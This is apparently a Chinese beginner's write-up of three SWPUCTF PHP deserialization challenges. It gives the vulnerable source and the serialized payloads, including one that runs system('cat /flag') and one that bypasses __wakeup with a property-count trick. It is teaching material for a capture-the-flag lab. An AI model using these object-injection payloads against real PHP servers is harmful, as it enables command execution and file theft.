1.[SWPUCTF 2022 新生赛]1z_unserialize
1.开启实例查看代码。
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
2.典型的反序列化题目,可以让lt为system,lly为cat /flag,这样就能构成system("cat /flag")拿到flag啦!
代码1:
<?php
class lyh{
public $lt;
public $lly;
function __construct()
{
$this->lt="system";
$this->lly="cat /flag";
}
}
$a = new lyh();
echo serialize($a);
?>
运行结果:
O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
代码2:
<?php
class lyh{
public $lt='system';
public $lly='cat /flag';
}
$a = new lyh();
echo serialize($a);
?>
运行结果:
O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
POST传参拿下!!
nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
2.[SWPUCTF 2022 新生赛]ez_ez_unserialize
1.查看代码:
给了一个提示,flag在fllllllag.php中。
注:这个题目需要绕过_wakeup(),让序列化字符串中表示对象属性个数的值大于真实属性个数时可以跳过_wakeup()。
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
2.首先构造序列化:
<?php
class X
{
public $x = 'fllllllag.php';
}
$a=new X();
echo serialize($a);
?>
运行结果:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
所以我们要是想绕过__wakeup()就需要修改一下下啦,变成:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
3.传参,拿flag!
3.[SWPUCTF 2021 新生赛]ez_unserialize
1.查看网页,显示的是一张动图。
2.查看网页源代码。
注释部分有所发现,注意到一个Disallow,来一段官方的解释吧:
所以这里我们可以尝试进入robots.txt中查看具体内容。
3.进入robots.txt中,发现提示了一个/cl45s.php。
4.进入/cl45s.php,查看代码。
根据代码可知,需要让admin=admin,passwd为ctf才能拿到flag。
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
5.构造序列化:
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$a=new wllm();
echo serialize($a);
?>
运行结果:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
6.get传参得到flag,拿下!
纯小白刷题,如有错误欢迎大家指正!